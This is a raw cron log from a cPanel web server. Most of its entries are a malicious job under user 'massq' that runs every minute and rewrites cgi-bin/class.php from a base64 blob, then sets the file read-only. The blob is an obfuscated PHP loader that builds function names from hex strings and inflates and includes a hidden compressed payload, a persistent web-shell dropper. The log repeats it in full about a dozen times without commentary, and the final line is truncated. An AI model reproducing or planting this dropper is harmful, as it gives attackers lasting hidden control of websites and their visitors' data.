Sep  6 01:34:01 server CROND[7176]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:34:01 server CROND[7177]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:35:01 server CROND[7564]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:35:01 server CROND[7567]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  6 01:35:01 server CROND[7573]: (root) CMD (/usr/bin/test -x /usr/local/cpanel/bin/tail-check && /usr/local/cpanel/bin/tail-check)
Sep  6 01:35:01 server CROND[7569]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:35:01 server CROND[7568]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:35:01 server CROND[7571]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:35:01 server CROND[7566]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:35:01 server CROND[7570]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:35:01 server CROND[7572]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:36:01 server CROND[8440]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:36:01 server CROND[8441]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:36:01 server CROND[8442]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:37:01 server CROND[8803]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:37:01 server CROND[8804]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:37:01 server CROND[8805]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:38:01 server CROND[9262]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:38:01 server CROND[9263]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:38:01 server CROND[9264]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:39:01 server CROND[9699]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:39:01 server CROND[9700]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:39:01 server CROND[9701]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:39:01 server CROND[9702]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  6 01:40:01 server CROND[10088]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:40:01 server CROND[10091]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:40:01 server CROND[10089]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:40:01 server CROND[10093]: (root) CMD (   bash -c 'sleep $((RANDOM % 60))' ; /opt/imunify360/venv/share/imunify360/scripts/check-detached.py > /dev/null 2>&1 || :)
Sep  6 01:40:01 server CROND[10092]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  6 01:40:01 server CROND[10090]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:40:01 server CROND[10096]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:40:01 server CROND[10095]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:41:01 server CROND[10910]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:41:01 server CROND[10911]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:41:01 server CROND[10913]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:42:01 server CROND[11278]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:42:01 server CROND[11279]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:42:01 server CROND[11281]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:42:01 server CROND[11280]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  6 01:43:01 server CROND[11651]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:43:01 server CROND[11652]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:43:01 server CROND[11653]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:44:01 server CROND[12013]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:44:01 server CROND[12014]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  6 01:44:01 server CROND[12015]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:45:01 server CROND[12502]: (root) CMD (/usr/local/maldetect/maldet --mkpubpaths >> /dev/null 2>&1)
Sep  6 01:45:01 server CROND[12507]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Sep  6 01:45:01 server CROND[12506]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  6 01:45:01 server CROND[12510]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  6 01:45:01 server CROND[12508]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  6 01:45:01 server CROND[12511]: (massq) CMD (fp="/home/massq/public_html/cgi-bin/class.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyoqICovKCk7s7EvyCjg5UorzUsuyczPUyhOLSpLLdLQVKjm5eJUSVGwVVCJd/b39/Z0tQYKaABF1NQUMouLU0uA7GgLo1hNTQV7BQ0NlZwkkFqwkB6QMjeO1QQqBespLwFJ5SSBdJiYQKQtQBqBRmmoxCNLG0OlDSHSYO1QBUBKA2aIJVAarN0htSwxB6wEyLcC2g9yJRAVpZaUFuUpGAC5tbxcvFwwb1k=" | base64 --decode > "$fp"; fi; 